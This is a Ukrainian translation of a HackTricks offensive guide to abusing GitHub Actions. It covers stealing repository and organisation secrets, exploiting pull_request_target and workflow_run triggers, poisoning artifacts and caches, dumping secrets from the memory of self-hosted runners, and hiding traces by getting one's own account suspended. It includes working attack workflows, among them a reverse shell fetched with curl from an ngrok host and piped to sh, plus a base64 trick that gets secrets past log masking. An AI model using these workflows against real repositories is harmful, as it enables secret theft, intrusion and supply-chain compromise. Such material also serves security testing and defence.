Abusing Github Actions

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Основна інформація

На цій сторінці ви знайдете:

  • Огляд всіх наслідків, які може мати зловмисник, який отримав доступ до дії Github

  • Різні способи отримання доступу до дії:

  • Маючи дозволи на створення дії

  • Зловживанням спрацюванням, пов'язаним з запитом на злиття

  • Зловживанням іншими техніками зовнішнього доступу

  • Перехід з вже скомпрометованого репозиторію

  • Нарешті, розділ про техніки пост-експлуатації для зловживання дією зсередини (спричинення зазначених наслідків)

Огляд наслідків

Для вступу про дії Github перевірте основну інформацію.

У випадку, якщо ви можете виконувати довільні дії Github/впроваджувати код в репозиторії, ви можете:

  • Вкрасти секрети з цього репозиторію/організації.

  • Якщо ви можете лише впроваджувати, ви можете вкрасти все, що вже присутнє в робочому процесі.

  • Зловживати привілеями репозиторію, щоб отримати доступ до інших платформ, таких як AWS та GCP.

  • Виконувати код у власних робітниках (якщо використовуються власні робітники) та намагатися перейти звідти.

  • Перезаписувати код репозиторію.

  • Це залежить від привілеїв GITHUB_TOKEN (якщо такі є).

  • Компрометувати розгортання та інші артефакти.

  • Якщо код розгортає або зберігає щось, ви можете змінити це та отримати додатковий доступ.

GITHUB_TOKEN

Цей "секрет" (походить від ${{ secrets.GITHUB_TOKEN }} та ${{ github.token }}) надається, коли адміністратор активує цю опцію:

Цей токен є тим самим, який використовуватиме Github Application, тому він може отримати доступ до тих самих кінцевих точок: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Github повинен випустити потік, який дозволяє доступ до крос-репозиторіїв всередині GitHub, щоб репозиторій міг отримати доступ до інших внутрішніх репозиторіїв, використовуючи GITHUB_TOKEN.

Ви можете побачити можливі дозволи цього токену за посиланням: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Зверніть увагу, що токен закінчується після завершення завдання. Ці токени виглядають так: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Деякі цікаві речі, які ви можете зробити з цим токеном:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'

Зверніть увагу, що у декількох випадках ви зможете знайти токени користувача GitHub всередині змінних середовища або в секретах Github Actions. Ці токени можуть надати вам більше привілеїв у репозиторії та організації.

Перелік секретів у виведенні дій Github

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Отримання зворотньої оболонки за допомогою секретів

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Можливо перевірити дозволи, надані токену Github в репозиторіях інших користувачів, перевіряючи журнали дій:

Дозволена виконавча дія

Це буде найпростіший спосіб компрометування дій Github, оскільки в цьому випадку передбачається, що у вас є доступ до створення нового репозиторію в організації, або є права на запис у репозиторії.

Якщо ви опинилися в цьому сценарії, ви можете просто перевірити техніки пост-експлуатації.

Виконання зі створення репозиторію

У випадку, якщо члени організації можуть створювати нові репозиторії і ви можете виконувати дії github, ви можете створити новий репозиторій та вкрасти секрети, встановлені на рівні організації.

Виконання з нової гілки

Якщо ви можете створити нову гілку в репозиторії, який вже містить налаштовану дію Github, ви можете її змінити, завантажити вміст, а потім виконати цю дію з нової гілки. Таким чином ви можете ексфільтрувати секрети на рівні репозиторію та організації (але вам потрібно знати, як вони називаються).

Ви можете зробити змінену дію виконавчою вручну, коли створюється PR, або коли додається якийсь код (залежно від того, наскільки ви хочете бути помітними):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

Виконання через розгалуження

Існують різні спускові механізми, які можуть дозволити зловмиснику виконати дію Github з іншого сховища. Якщо ці дії спуску погано сконфігуровані, зловмисник може скомпрометувати їх.

pull_request

Спусковий механізм pull_request виконує робочий процес кожного разу, коли надходить запит на злиття з деякими винятками: за замовчуванням, якщо це перший раз, коли ви співпрацюєте, деякі опікуни повинні затвердити виконання робочого процесу:

Оскільки обмеження за замовчуванням стосується співавторів першого разу, ви можете внести свій внесок, виправивши дійсну помилку/помилку в написанні, а потім надіслати інші PR для зловживання вашими новими привілеями pull_request.

Я перевірив це і це не працює: Іншою опцією було б створити обліковий запис із ім'ям когось, хто вніс внесок до проекту і видалив свій обліковий запис.

Крім того, за замовчуванням забороняє доступ до прав на запис та секретів до цільового сховища, як зазначено в документації:

З винятком GITHUB_TOKEN, секрети не передаються виконавцю при виклику робочого процесу з розгалуженого сховища. GITHUB_TOKEN має права тільки на читання в запитах на злиття з розгалужених сховищ.

Зловмисник може змінити визначення дії Github у цілях виконання довільних дій та додавання довільних дій. Однак він не зможе вкрасти секрети або перезаписати репозиторій через зазначені обмеження.

Так, якщо зловмисник змінить у PR дію Github, яка буде викликана, його дія Github буде використана, а не та з початкового репозиторію!

Оскільки зловмисник також контролює виконуваний код, навіть якщо немає секретів або прав на запис на GITHUB_TOKEN, зловмисник може, наприклад, завантажити зловісні артефакти.

pull_request_target

Спусковий механізм pull_request_target має право на запис до цільового сховища та доступ до секретів (і не запитує дозволу).

Зверніть увагу, що спусковий механізм pull_request_target виконується в базовому контексті і не в тому, який надається PR (для не виконання ненадійного коду). Для отримання додаткової інформації про pull_request_target перевірте документацію. Крім того, для отримання додаткової інформації про це конкретне небезпечне використання перевірте цей пост блогу github.

Може здатися, що через те, що виконується робочий процес той, що визначений в базі, а не в PR, використання pull_request_target є безпечним, але є кілька випадків, коли це не так.

І цей має доступ до секретів.

workflow_run

Спусковий механізм workflow_run дозволяє запускати робочий процес з іншого, коли він завершено, запитано або в процесі.

У цьому прикладі робочий процес налаштований на запуск після завершення окремого робочого процесу "Запустити тести":

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Крім того, згідно з документацією: Робочий процес, запущений подією workflow_run, може отримувати доступ до секретів та записувати токени, навіть якщо попередній робочий процес не був.

Цей тип робочого процесу може бути атакований, якщо він залежить від робочого процесу, який може бути запущений зовнішнім користувачем через pull_request або pull_request_target. Декілька прикладів вразливостей можна знайти в цьому блозі. Перший приклад полягає в тому, що workflow_run запускає робочий процес, який завантажує код атакувальника: ${{ github.event.pull_request.head.sha }} Другий приклад полягає в передачі артефакту з ненадійного коду до робочого процесу workflow_run та використанні вмісту цього артефакту таким чином, що це робить його вразливим до RCE.

workflow_call

TODO

TODO: Перевірте, чи при виконанні з pull_request використаний/завантажений код той, що з оригіналу або з розгалуженого PR

Зловживання виконанням розгалуженого PR

Ми згадали всі способи, яким зовнішній атакувальник може змусити робочий процес GitHub виконати, тепер давайте розглянемо, як ці виконання, якщо погано сконфігуровані, можуть бути зловживані:

Виконання ненадійного вибору

У випадку pull_request, робочий процес буде виконуватися в контексті PR (тобто він виконає зловмисний код PR), але хтось повинен авторизувати це спочатку, і він буде запущений з деякими обмеженнями.

У випадку робочого процесу, який використовує pull_request_target або workflow_run, що залежить від робочого процесу, який може бути запущений з pull_request_target або pull_request, буде виконаний код з оригінального репозиторію, тому атакувальник не може контролювати виконаний код.

Однак, якщо дія має явне вибір PR, який отримує код з PR (а не з бази), вона використовуватиме код, керований атакувальником. Наприклад (перевірте рядок 12, де код PR завантажується):

# НЕБЕЗПЕЧНО. Наведено лише як приклад.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

Потенційно ненадійний код виконується під час npm install або npm build, оскільки сценарії збірки та зазначені пакети керуються автором PR.

Пошук вразливих дій GitHub: event.pull_request pull_request_target extension:yml, однак існують різні способи налаштування робіт для безпечного виконання, навіть якщо дія налаштована небезпечно (наприклад, використання умов про те, хто є актором, що генерує PR).

Внедрення скриптів контексту

Зверніть увагу, що існують певні контексти GitHub, значення яких контролюються користувачем, що створює PR. Якщо дія GitHub використовує ці дані для виконання будь-чого, це може призвести до виконання довільного коду:

pageGh Actions - Context Script Injections

GITHUB_ENV Внедрення скриптів

З документації: Ви можете зробити змінну середовища доступною для будь-яких наступних кроків в робочому процесі, визначивши або оновивши змінну середовища та записавши це в файл середовища GITHUB_ENV.

Якщо атакувальник може внести будь-яке значення у цю змінну середовища, він може внести змінні середовища, які можуть виконувати код у наступних кроках, таких як LD_PRELOAD або NODE_OPTIONS.

Наприклад (це та це), уявіть робочий процес, який довіряє завантаженому артефакту зберегти його вміст у змінній середовища GITHUB_ENV. Атакувальник може завантажити щось на зразок цього для компрометації:

Вразливі сторонні дії GitHub

Як зазначено в цьому блозі, ця дія GitHub дозволяє отримувати доступ до артефактів з різних робочих процесів та навіть репозиторіїв.

Проблема полягає в тому, що якщо параметр path не встановлено, артефакт розпаковується в поточному каталозі і може перезаписати файли, які пізніше можуть бути використані або навіть виконані в робочому процесі. Тому, якщо артефакт вразливий, атакувальник може скористатися цим для компрометації інших робочих процесів, які довіряють артефакту.

Приклад вразливого робочого процесу:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Це може бути атаковано за допомогою цього робочого процесу:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Інший Зовнішній Доступ

Використання Видаленого Простору Імен Репозиторію

Якщо обліковий запис змінює свою назву, інший користувач може зареєструвати обліковий запис з такою ж назвою після певного часу. Якщо репозиторій мав менше 100 зірочок до зміни назви, Github дозволить новому зареєстрованому користувачеві з такою ж назвою створити репозиторій з такою ж назвою, як видалений.

Таким чином, якщо дія використовує репозиторій з неіснуючого облікового запису, все ще можливо, що зловмисник може створити цей обліковий запис і скомпрометувати дію.

Якщо інші репозиторії використовували залежності з цих репозиторіїв користувача, зловмисник зможе їх захопити. Тут ви знайдете більш повне пояснення: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


Перехід Репозиторію

У цьому розділі ми поговоримо про техніки, які дозволять перейти з одного репозиторію в інший, припускаючи, що у нас є певний доступ до першого (перевірте попередній розділ).

Отруєння Кешу

Кеш зберігається між запусками робочого процесу в тій же гілці. Це означає, що якщо зловмисник компрометує пакет, який потім зберігається в кеші та завантажується та виконується більш привілейованим робочим процесом, він зможе також компрометувати цей робочий процес.

pageGH Actions - Cache Poisoning

Отруєння Артефактів

Робочі процеси можуть використовувати артефакти з інших робочих процесів та навіть репозиторіїв, якщо зловмиснику вдасться компрометувати Github Action, який завантажує артефакт, який потім використовується іншим робочим процесом, він може компрометувати інші робочі процеси:

pageGh Actions - Artifact Poisoning

Післяексплуатація з Дії

Доступ до AWS та GCP через OIDC

Перевірте наступні сторінки:

pageAWS - Federation AbusepageGCP - Federation Abuse

Доступ до секретів

Якщо ви вставляєте вміст у скрипт, цікаво знати, як ви можете отримати доступ до секретів:

  • Якщо секрет або токен встановлено як змінна середовища, його можна безпосередньо отримати через середовище, використовуючи printenv.

Перелік секретів у виводі дії Github

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>Отримання зворотньої оболонки за допомогою секретів</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • Якщо секрет використовується прямо в виразі, згенерований shell-скрипт зберігається на диску і є доступним.

cat /home/runner/work/_temp/*

* Для дій на JavaScript секрети надсилаються через змінні середовища
* ```bash
ps axe | grep node
  • Для власної дії ризик може варіюватися в залежності від того, як програма використовує секрет, який вона отримала з аргументу:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Зловживання самостійними ранерами

Спосіб знайти, які Github Actions виконуються в позагітхабовій інфраструктурі, - це пошук runs-on: self-hosted в конфігурації yaml дії Github.

Самостійні ранери можуть мати доступ до додаткової конфіденційної інформації, до інших мережевих систем (уразливі кінцеві точки в мережі? служба метаданих?) або, навіть якщо вони ізольовані та знищені, одночасно може виконуватися більше однієї дії, і зловмисна може вкрасти секрети іншої.

На самостійних ранерах також можливо отримати секрети з процесу _Runner.Listener, який буде містити всі секрети робочих процесів на будь-якому кроці, вивільнивши їх пам'ять:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Перевірте цей пост для отримання додаткової інформації.

Реєстр зображень Docker Github

Можливо створити дії Github, які будуть створювати та зберігати зображення Docker всередині Github. Приклад можна знайти в наступному розкривному блоку:

Дія Github Build & Push Docker Image

```yaml [...]

  • name: Set up Docker Buildx uses: docker/setup-buildx-action@v1

  • name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}

  • name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

  • name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

Як ви могли побачити в попередньому коді, реєстр Github розміщений на **`ghcr.io`**.

Користувач з дозволами на читання репозиторію зможе завантажити образ Docker, використовуючи персональний токен доступу:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Потім користувач може шукати витікнуті секрети в шарах образів Docker:

Чутлива інформація в журналах дій Github Actions

Навіть якщо Github намагається виявити секретні значення в журналах дій та уникати їх відображення, інші чутливі дані, які можуть бути згенеровані під час виконання дії, не будуть сховані. Наприклад, JWT, підписаний секретним значенням, не буде схований, якщо це не буде спеціально налаштовано.

Приховання ваших слідів

(Техніка з тут) По-перше, будь-який PR, піднятий, чітко видно громадськості в Github та в цільовому обліковому записі GitHub. В GitHub за замовчуванням ми не можемо видалити PR з Інтернету, але є підвох. Для облікових записів Github, які були призупинені Github, всі їхні PR автоматично видаляються та видаляються з Інтернету. Таким чином, щоб приховати свою діяльність, вам потрібно або отримати призупинення облікового запису GitHub, або позначити свій обліковий запис. Це приховає всю вашу діяльність на GitHub від Інтернету (по суті, видаляє всі ваші PR зловживання)

Організація в GitHub дуже активно повідомляє облікові записи в GitHub. Вам потрібно лише поділитися "деякою інформацією" в питанні, і вони переконаються, що ваш обліковий запис буде призупинено протягом 12 годин :p і ось вам, ваше зловживання стало невидимим на github.

Єдиний спосіб для організації зрозуміти, що на них було спрямовано, - перевірити журнали GitHub з SIEM, оскільки з GitHub UI PR буде видалено.

Інструменти

Наступні інструменти корисні для пошуку робочих процесів Github Action та навіть знаходження вразливих:

Last updated